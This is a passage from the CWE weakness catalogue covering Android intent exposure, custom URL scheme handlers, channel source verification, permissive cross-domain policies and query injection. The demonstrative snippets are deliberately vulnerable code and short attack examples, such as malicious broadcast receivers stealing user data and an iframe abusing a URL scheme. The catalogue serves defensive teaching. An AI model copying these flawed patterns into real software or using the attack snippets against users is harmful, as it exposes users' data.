  ...
  <intent-filter>
    <action android:name="com.example.vulnerableApp.START_BACKGROUND" />
  </intent-filter>
  ...
</service>

```

Because these components have intent filters but have not explicitly set 'android:exported=false' elsewhere in the manifest, they are automatically exported so that any other application can launch them. This may lead to unintended behavior or exploits.

**Example 2:**

This application has created a content provider to enable custom search suggestions within the application:

Example Language: XML

(Bad)

```

<provider>
  android:name="com.example.vulnerableApp.searchDB"
  android:authorities="com.example.vulnerableApp.searchDB">
</provider>

```

Because this content provider is only intended to be used within the application, it does not need to be exported. However, in Android before 4.2, it is automatically exported thus potentially allowing malicious applications to access sensitive information.

**References**

[REF-923]Android Open Source Project. "Security Tips". 2013 July 6. < <http://developer.android.com/training/articles/security-tips.html#ContentProviders> >.

**CWE-927: Use of Implicit Intent for Sensitive Communication****Weakness ID** : 927**Structure** : Simple**Abstraction** : Variant**Description**

The Android application uses an implicit intent for transmitting sensitive data to other applications.

**Extended Description**

Since an implicit intent does not specify a particular application to receive the data, any application can process the intent by using an Intent Filter for that intent. This can allow untrusted applications to obtain sensitive data. There are two variations on the standard broadcast intent, ordered and sticky.

Ordered broadcast intents are delivered to a series of registered receivers in order of priority as declared by the Receivers. A malicious receiver can give itself a high priority and cause a denial of service by stopping the broadcast from propagating further down the chain. There is also the

possibility of malicious data modification, as a receiver may also alter the data within the Intent before passing it on to the next receiver. The downstream components have no way of asserting that the data has not been altered earlier in the chain.



Sticky broadcast intents remain accessible after the initial broadcast. An old sticky intent will be broadcast again to any new receivers that register for it in the future, greatly increasing the chances of information exposure over time. Also, sticky broadcasts cannot be protected by permissions that may apply to other kinds of intents.

In addition, any broadcast intent may include a URI that references data that the receiving component does not normally have the privileges to access. The sender of the intent can include special privileges that grant the receiver read or write access to the specific URI included in the intent. A malicious receiver that intercepts this intent will also gain those privileges and be able to read or write the resource at the specified URI.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380
ChildOf		285	Improper Authorization	649

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>Other applications, possibly untrusted, can read the data that is offered through the Intent.</i>	
Integrity	Varies by Context  <i>The application may handle responses from untrusted applications on the device, which could cause it to perform unexpected or unauthorized actions.</i>	

## Potential Mitigations

### Phase: Implementation

If the application only requires communication with its own components, then the destination is always known, and an explicit intent could be used.

## Demonstrative Examples

### Example 1:

This application wants to create a user account in several trusted applications using one broadcast intent:

*Example Language: Java*

*(Bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.CreateUser");
intent.putExtra("Username", uname_string);
```

```
intent.putExtra("Password", pw_string);
sendBroadcast(intent);
```

This application assumes only the trusted applications will be listening for the action. A malicious application can register for this action and intercept the user's login information, as below:

*Example Language: Java*

*(Attack)*

```
IntentFilter filter = new IntentFilter("com.example.CreateUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

When a broadcast contains sensitive information, create an allowlist of applications that can receive the action using the application's manifest file, or programmatically send the intent to each individual intended receiver.

### Example 2:

This application interfaces with a web service that requires a separate user login. It creates a sticky intent, so that future trusted applications that also use the web service will know who the current user is:

*Example Language: Java*

*(Bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.service.UserExists");
intent.putExtra("Username", uname_string);
sendStickyBroadcast(intent);
```

*Example Language: Java*

*(Attack)*

```
IntentFilter filter = new IntentFilter("com.example.service.UserExists");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

Sticky broadcasts can be read by any application at any time, and so should never contain sensitive information such as a username.

### Example 3:

This application is sending an ordered broadcast, asking other applications to open a URL:

*Example Language: Java*

*(Bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.OpenURL");
intent.putExtra("URL_TO_OPEN", url_string);
sendOrderedBroadcastAsUser(intent);
```

Any application in the broadcast chain may alter the data within the intent. This malicious application is altering the URL to point to an attack site:

*Example Language: Java*

*(Attack)*

```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String url = intent.getStringExtra(Intent.URL_TO_OPEN);
        attackURL = "www.example.com/attack?" + url;
        setResultData(attackURL);
    }
}
```

The final receiving application will then open the attack URL. Where possible, send intents to specific trusted applications instead of using a broadcast chain.

#### Example 4:

This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.

Example Language: Java

(Bad)

```
Intent intent = new Intent();
intent.setAction("com.example.BackupUserData");
intent.setData(file_uri);
intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);
sendBroadcast(intent);
```

Example Language: Java

(Attack)

```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Uri userData = intent.getData();
        stealUserData(userData);
    }
}
```

Any malicious application can register to receive this intent. Because of the FLAG\_GRANT\_READ\_URI\_PERMISSION included with the intent, the malicious receiver code can read the user's data.

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design		1344 2284

#### References

[REF-922]Erika Chin, Adrienne Porter Felt, Kate Greenwood and David Wagner. "Analyzing Inter-Application Communication in Android". < <http://www.eecs.berkeley.edu/~daw/papers/intents-mobisys11.pdf> >.

[REF-923]Android Open Source Project. "Security Tips". 2013 July 6. < <http://developer.android.com/training/articles/security-tips.html#ContentProviders> >.

## CWE-939: Improper Authorization in Handler for Custom URL Scheme

**Weakness ID** : 939

**Structure** : Simple

**Abstraction** : Base

#### Description

The product uses a handler for a custom URL scheme, but it does not properly restrict which actors can invoke the handler using the scheme.

#### Extended Description

Mobile platforms and other architectures allow the use of custom URL schemes to facilitate communication between applications. In the case of iOS, this is the only method to do inter-

application communication. The implementation is at the developer's discretion which may open security flaws in the application. An example could be potentially dangerous functionality such as modifying files through a custom URL scheme.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		862	Missing Authorization	1657

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1212	Authorization Errors	2269

## Applicable Platforms

**Technology** : Mobile (Prevalence = Undetermined)

## Potential Mitigations

### Phase: Architecture and Design

Utilize a user prompt pop-up to authorize potentially harmful actions such as those modifying data or dealing with sensitive information. When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if an allowlist of applications to interface with is appropriate.

## Demonstrative Examples

### Example 1:

This iOS application uses a custom URL scheme. The replaceFileText action in the URL scheme allows an external application to interface with the file incomingMessage.txt and replace the contents with the text field of the query string.

External Application

*Example Language: Objective-C*

*(Good)*

```
NSString *stringURL = @"appscheme://replaceFileText?file=incomingMessage.txt&text=hello";
NSURL *url = [NSURL URLWithString:stringURL];
[[UIApplication sharedApplication] openURL:url];
```

Application URL Handler

*Example Language:*

*(Bad)*

```
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
    if (!url) {
        return NO;
    }
    NSString *action = [url host];
    if([action isEqualToString: @"replaceFileText"]) {
        NSDictionary *dict = [self parseQueryStringExampleFunction:[url query]];
        //this function will write contents to a specified file
        FileObject *objectFile = [self writeToFile:[dict objectForKey: @"file"] withText:[dict objectForKey: @"text"]];
    }
}
```

```

}
return YES;
}

```

The handler has no restriction on who can use its functionality. The handler can be invoked using any method that invokes the URL handler such as the following malicious iframe embedded on a web page opened by Safari.

*Example Language: HTML*

*(Attack)*

```
<iframe src="appscheme://replaceFileText?file=Bookmarks.dat&text=listOfMaliciousWebsites">
```

The attacker can host a malicious website containing the iframe and trick users into going to the site via a crafted phishing email. Since Safari automatically executes iframes, the user is not prompted when the handler executes the iframe code which automatically invokes the URL handler replacing the bookmarks file with a list of malicious websites. Since `replaceFileText` is a potentially dangerous action, an action that modifies data, there should be a sanity check before the `writeToFile:withText:` function.

### Example 2:

These Android and iOS applications intercept URL loading within a `WebView` and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the `WebView` to communicate with the application:

*Example Language: Java*

*(Bad)*

```

// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
}

```

*Example Language: Objective-C*

*(Bad)*

```

// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeToView:[URL query]];
        }
        return NO;
    }
    return YES;
}
}

```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript

(Attack)

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

### Observed Examples

Reference	Description
<b>CVE-2013-5725</b>	URL scheme has action replace which requires no user prompt and allows remote attackers to perform undesired actions. <a href="https://www.cve.org/CVERecord?id=CVE-2013-5725">https://www.cve.org/CVERecord?id=CVE-2013-5725</a>
<b>CVE-2013-5726</b>	URL scheme has action follow and favorite which allows remote attackers to force user to perform undesired actions. <a href="https://www.cve.org/CVERecord?id=CVE-2013-5726">https://www.cve.org/CVERecord?id=CVE-2013-5726</a>

### References

[REF-938]Guillaume Ross. "Scheming for Privacy and Security". 2013 November 1. < [http://brooksreview.net/2013/11/guest-post\\_scheming-for-privacy-and-security/](http://brooksreview.net/2013/11/guest-post_scheming-for-privacy-and-security/) >.

## CWE-940: Improper Verification of Source of a Communication Channel

**Weakness ID** : 940

**Structure** : Simple

**Abstraction** : Base

### Description

The product establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin.

### Extended Description

When an attacker can successfully establish a communication channel from an untrusted origin, the attacker may be able to gain privileges and access unexpected functionality.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1700
ParentOf		925	Improper Verification of Intent by Broadcast Receiver	1702

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1014	Identify Actors	2222

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		417	Communication Channel Errors	2119

### Applicable Platforms

1712



**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	
Other	Varies by Context	
	<i>An attacker can access any functionality that is inadvertently accessible to the source.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Use a mechanism that can validate the identity of the source, such as a certificate, and validate the integrity of data to ensure that it cannot be modified in transit using an Adversary-in-the-Middle (AITM) attack. When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if an allowlist of applications to interface with is appropriate.

### Demonstrative Examples

#### Example 1:

This Android application will remove a user account when it receives an intent to do so:

*Example Language: Java*

*(Bad)*

```
IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
public class DeleteReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        int userID = intent.getIntExtra("userID");
        destroyUserData(userID);
    }
}
```

This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create an allowlist of trusted applications using the manifest.xml file.

#### Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

*Example Language: Java*

*(Bad)*

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeToView(view, UserData);
            return false;
        }
    }
    else{
        return true;
    }
}
}
```

Example Language: Objective-C

(Bad)

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeToView:[URL query]];
        }
        return NO;
    }
    return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript

(Attack)

```
window.location = examplescheme://method?parameter=value
```


Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

## Observed Examples

Reference	Description
<b>CVE-2000-1218</b>	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning <a href="https://www.cve.org/CVERecord?id=CVE-2000-1218">https://www.cve.org/CVERecord?id=CVE-2000-1218</a>
<b>CVE-2005-0877</b>	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning <a href="https://www.cve.org/CVERecord?id=CVE-2005-0877">https://www.cve.org/CVERecord?id=CVE-2005-0877</a>
<b>CVE-2001-1452</b>	DNS server caches glue records received from non-delegated name servers <a href="https://www.cve.org/CVERecord?id=CVE-2001-1452">https://www.cve.org/CVERecord?id=CVE-2001-1452</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	<input checked="" type="checkbox"/>	1344 2287

## Notes

### Relationship

While many access control issues involve authenticating the user, this weakness is more about authenticating the actual source of the communication channel itself; there might not be any "user" in such cases.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
500	WebView Injection
594	Traffic Injection

CAPEC-ID	Attack Pattern Name
595	Connection Reset
596	TCP RST Injection

## References

[REF-324]Taimur Aslam. "A Taxonomy of Security Faults in the UNIX Operating System". 1995 August 1. < <http://cwe.mitre.org/documents/sources/ATaxonomyofSecurityFaultsintheUNIXOperatingSystem%5BAslam95%5D.pdf> >.

## CWE-941: Incorrectly Specified Destination in a Communication Channel

**Weakness ID** : 941

**Structure** : Simple

**Abstraction** : Base

### Description

The product creates a communication channel to initiate an outgoing request to an actor, but it does not correctly specify the intended destination for that actor.

### Extended Description

Attackers at the destination may be able to spoof trusted servers to steal data or cause a denial of service.

There are at least two distinct weaknesses that can cause the product to communicate with an unintended destination:

- If the product allows an attacker to control which destination is specified, then the attacker can cause it to connect to an untrusted or malicious destination. For example, because UDP is a connectionless protocol, UDP packets can be spoofed by specifying a false source address in the packet; when the server receives the packet and sends a reply, it will specify a destination by using the source of the incoming packet - i.e., the false source. The server can then be tricked into sending traffic to the wrong host, which is effective for hiding the real source of an attack and for conducting a distributed denial of service (DDoS). As another example, server-side request forgery (SSRF) and XML External Entity (XXE) can be used to trick a server into making outgoing requests to hosts that cannot be directly accessed by the attacker due to firewall restrictions.
- If the product incorrectly specifies the destination, then an attacker who can control this destination might be able to spoof trusted servers. While the most common occurrence is likely due to misconfiguration by an administrator, this can be resultant from other weaknesses. For example, the product might incorrectly parse an e-mail or IP address and send sensitive data to an unintended destination. As another example, an Android application may use a "sticky broadcast" to communicate with a receiver for a particular application, but since sticky broadcasts can be processed by *any* receiver, this can allow a malicious application to access restricted data that was only intended for a different application.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1700
CanPrecede		406	Insufficient Control of Network Message Volume (Network Amplification)	937

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1014	Identify Actors	2222

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		417	Communication Channel Errors	2119

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

### Demonstrative Examples

#### Example 1:

This code listens on a port for DNS requests and sends the result to the requesting address.

*Example Language: Python*

*(Bad)*

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
    data = sock.recvfrom(1024)
    if not data:
        break
    (requestIP, nameToResolve) = parseUDPpacket(data)
    record = resolveName(nameToResolve)
    sendResponse(requestIP,record)
```

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

### Observed Examples

Reference	Description
<b>CVE-2013-5211</b>	composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses. <a href="https://www.cve.org/CVERecord?id=CVE-2013-5211">https://www.cve.org/CVERecord?id=CVE-2013-5211</a>
<b>CVE-1999-0513</b>	Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0513">https://www.cve.org/CVERecord?id=CVE-1999-0513</a>
<b>CVE-1999-1379</b>	DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1379">https://www.cve.org/CVERecord?id=CVE-1999-1379</a>

### References

[REF-941]US-CERT. "UDP-based Amplification Attacks". 2014 January 7. < <https://www.us-cert.gov/ncas/alerts/TA14-017A> >.

[REF-942]Fortify. "Android Bad Practices: Sticky Broadcast". < [http://www.hpenterprisesecurity.com/vulncat/en/vulncat/java/android\\_bad\\_practices\\_sticky\\_broadcast.html](http://www.hpenterprisesecurity.com/vulncat/en/vulncat/java/android_bad_practices_sticky_broadcast.html) >.

## CWE-942: Permissive Cross-domain Policy with Untrusted Domains

**Weakness ID** : 942  
**Structure** : Simple  
**Abstraction** : Variant

### Description

The product uses a cross-domain policy file that includes domains that should not be trusted.

### Extended Description

A cross-domain policy file ("crossdomain.xml" in Flash and "clientaccesspolicy.xml" in Silverlight) defines a list of domains from which a server is allowed to make cross-domain requests. When making a cross-domain request, the Flash or Silverlight client will first look for the policy file on the target server. If it is found, and the domain hosting the application is explicitly allowed to make requests, the request is made.

Therefore, if a cross-domain policy file includes domains that should not be trusted, such as when using wildcards, then the application could be attacked by these untrusted domains.




An overly permissive policy file allows many of the same attacks seen in Cross-Site Scripting (CWE-79). Once the user has executed a malicious Flash or Silverlight application, they are vulnerable to a variety of attacks. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site.

In many cases, the attack can be launched without the victim even being aware of it.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		183	Permissive List of Allowed Inputs	439
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1700
CanPrecede		668	Exposure of Resource to Wrong Sphere	1380

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Based (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	Bypass Protection Mechanism	
Availability	Read Application Data	
Access Control	Varies by Context	

Scope	Impact	Likelihood
	<p>An attacker may be able to bypass the web browser's same-origin policy. An attacker can exploit the weakness to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running ActiveX controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.</p>	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Attack Surface Reduction*

Avoid using wildcards in the cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server.

#### Phase: Architecture and Design

##### Phase: Operation

*Strategy = Environment Hardening*

For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

#### Phase: Architecture and Design

##### Phase: Operation

*Strategy = Attack Surface Reduction*

For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

### Demonstrative Examples

#### Example 1:

These cross-domain policy files mean to allow Flash and Silverlight applications hosted on other domains to access its data:

Flash crossdomain.xml :

*Example Language: XML*

(Bad)

```
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<allow-access-from domain="*.example.com"/>
<allow-access-from domain="*" />
</cross-domain-policy>
```

Silverlight clientaccesspolicy.xml :

*Example Language: XML*

(Bad)

```
<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="SOAPAction">
```

```
<domain uri="*" />
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true" />
</grant-to>
</policy>
</cross-domain-access>
</access-policy>
```

These entries are far too permissive, allowing any Flash or Silverlight application to send requests. A malicious application hosted on any other web site will be able to send requests on behalf of any user tricked into executing it.

### Observed Examples

Reference	Description
<b>CVE-2012-2292</b>	Product has a Silverlight cross-domain policy that does not restrict access to another application, which allows remote attackers to bypass the Same Origin Policy. <a href="https://www.cve.org/CVERecord?id=CVE-2012-2292">https://www.cve.org/CVERecord?id=CVE-2012-2292</a>
<b>CVE-2014-2049</b>	The default Flash Cross Domain policies in a product allows remote attackers to access user files. <a href="https://www.cve.org/CVERecord?id=CVE-2014-2049">https://www.cve.org/CVERecord?id=CVE-2014-2049</a>
<b>CVE-2007-6243</b>	Chain: Adobe Flash Player does not sufficiently restrict the interpretation and usage of cross-domain policy files, which makes it easier for remote attackers to conduct cross-domain and cross-site scripting (XSS) attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2007-6243">https://www.cve.org/CVERecord?id=CVE-2007-6243</a>
<b>CVE-2008-4822</b>	Chain: Adobe Flash Player and earlier does not properly interpret policy files, which allows remote attackers to bypass a non-root domain policy. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4822">https://www.cve.org/CVERecord?id=CVE-2008-4822</a>
<b>CVE-2010-3636</b>	Chain: Adobe Flash Player does not properly handle unspecified encodings during the parsing of a cross-domain policy file, which allows remote web servers to bypass intended access restrictions via unknown vectors. <a href="https://www.cve.org/CVERecord?id=CVE-2010-3636">https://www.cve.org/CVERecord?id=CVE-2010-3636</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	<input checked="" type="checkbox"/>	1344 2286

### References

[REF-943]Apurva Udaykumar. "Setting a crossdomain.xml file for HTTP streaming". 2012 November 9. Adobe. < <http://www.adobe.com/devnet/adobe-media-server/articles/cross-domain-xml-for-streaming.html> >.

[REF-944]Adobe. "Cross-domain policy for Flash movies". Adobe. < [http://kb2.adobe.com/cps/142/tn\\_14213.html](http://kb2.adobe.com/cps/142/tn_14213.html) >.

[REF-945]Microsoft Corporation. "HTTP Communication and Security with Silverlight". < <http://msdn.microsoft.com/en-us/library/cc838250.aspx> >.

[REF-946]Microsoft Corporation. "Network Security Access Restrictions in Silverlight". < <http://msdn.microsoft.com/en-us/library/cc645032.aspx> >.



[REF-947]Dongseok Jang, Aishwarya Venkataraman, G. Michael Sawka and Hovav Shacham. "Analyzing the Crossdomain Policies of Flash Applications". 2011 May. < <http://cseweb.ucsd.edu/~hovav/dist/crossdomain.pdf> >.

## CWE-943: Improper Neutralization of Special Elements in Data Query Logic

**Weakness ID** : 943

**Structure** : Simple

**Abstraction** : Class

### Description

The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.

### Extended Description

Depending on the capabilities of the query language, an attacker could inject additional logic into the query to:

- Modify the intended selection criteria, thus changing which data entities (e.g., records) are returned, modified, or otherwise manipulated
- Append additional commands to the query
- Return more entities than intended
- Return fewer entities than intended
- Cause entities to be sorted in an unexpected way





The ability to execute additional commands or change which entities are returned has obvious risks. But when the product logic depends on the order or number of entities, this can also lead to vulnerabilities. For example, if the query expects to return only one entity that specifies an administrative user, but an attacker can change which entities are returned, this could cause the logic to return information for a regular user and incorrectly assume that the user has administrative privileges.

While this weakness is most commonly associated with SQL injection, there are many other query languages that are also subject to injection attacks, including HTSQL, LDAP, DQL, XQuery, Xpath, and "NoSQL" languages.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133
ParentOf		89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	195
ParentOf		90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	207
ParentOf		643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	1336

Nature	Type	ID	Name	Page
ParentOf		652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	1351

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Bypass Protection Mechanism	
Integrity	Read Application Data	
Availability	Modify Application Data	
Access Control	Varies by Context	

### Observed Examples

Reference	Description
<b>CVE-2014-2503</b>	Injection using Documentum Query Language (DQL) <a href="https://www.cve.org/CVERecord?id=CVE-2014-2503">https://www.cve.org/CVERecord?id=CVE-2014-2503</a>
<b>CVE-2014-2508</b>	Injection using Documentum Query Language (DQL) <a href="https://www.cve.org/CVERecord?id=CVE-2014-2508">https://www.cve.org/CVERecord?id=CVE-2014-2508</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1027	OWASP Top Ten 2017 Category A1 - Injection	1026	2228

### Notes

#### Relationship

It could be argued that data query languages are effectively a command language - albeit with a limited set of commands - and thus any query-language injection issue could be treated as a child of CWE-74. However, CWE-943 is intended to better organize query-oriented issues to separate them from fully-functioning programming languages, and also to provide a more precise identifier for the many query languages that do not have their own CWE identifier.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
676	NoSQL Injection

## CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag

**Weakness ID** : 1004

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.

## Extended Description

The HttpOnly flag directs compatible browsers to prevent client-side script from accessing cookies. Including the HttpOnly flag in the Set-Cookie HTTP response header helps mitigate the risk associated with Cross-Site Scripting (XSS) where an attacker's script code might attempt to read the contents of a cookie and exfiltrate information obtained. When set, browsers that support the flag will not reveal the contents of the cookie to a third party via client-side script executed via XSS.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		732	Incorrect Permission Assignment for Critical Resource	1445

## Applicable Platforms

